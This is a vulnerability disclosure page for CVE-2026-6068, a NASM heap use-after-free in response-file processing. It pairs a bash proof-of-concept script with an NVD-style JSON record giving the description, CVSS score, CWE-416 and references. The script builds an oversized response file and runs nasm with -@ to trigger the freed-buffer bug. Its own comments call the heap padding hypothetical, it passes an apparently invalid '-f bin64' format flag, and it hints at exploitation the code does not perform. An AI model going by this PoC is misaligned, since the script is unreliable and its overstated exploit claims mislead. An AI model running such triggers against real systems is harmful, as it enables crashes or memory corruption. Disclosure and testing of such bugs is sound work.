CVE-2026-6068

#!/bin/bash # PoC for CVE-2026-6068: NASM Heap Use-After-Free # This script demonstrates the trigger condition by crafting a response file. # 1. Create a dummy assembly file echo "bits 64" > source.asm echo "global _start" >> source.asm echo "_start:" >> source.asm echo " ret" >> source.asm # 2. Craft a malicious response file # The content aims to manipulate the heap before the free occurs. echo "source.asm" > poc_rsp.txt # Adding padding/data to influence heap allocation (hypothetical size) python3 -c "print('A' * 4096)" >> poc_rsp.txt # 3. Trigger the vulnerability using -@ flag # The vulnerability is triggered when the buffer is freed but the pointer remains. echo "[+] Triggering vulnerability..." nasm -@ poc_rsp.txt -f bin64 -o output.bin echo "[+] Done. Check for crash or exploitation success."

{"cve": {"id": "CVE-2026-6068", "sourceIdentifier": "[email protected]", "published": "2026-04-10T14:16:38.723", "lastModified": "2026-05-20T14:17:02.973", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "NASM contains a heap use after free vulnerability in response file (-@) processing where a dangling pointer to freed memory is stored in the global depend_file and later dereferenced, as the response-file buffer is freed before the pointer is used, allowing for data corruption or remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasm:netwide_assembler:3.02:rc5:*:*:*:*:*:*", "matchCriteriaId": "EA22EDB2-D094-433E-887D-A211FEC02A90"}]}]}], "references": [{"url": "https://github.com/netwide-assembler/nasm/issues/222", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://sekai.team/blog/nasm-cve-disclosure/cve-2026-6068", "source": "[email protected]"}]}}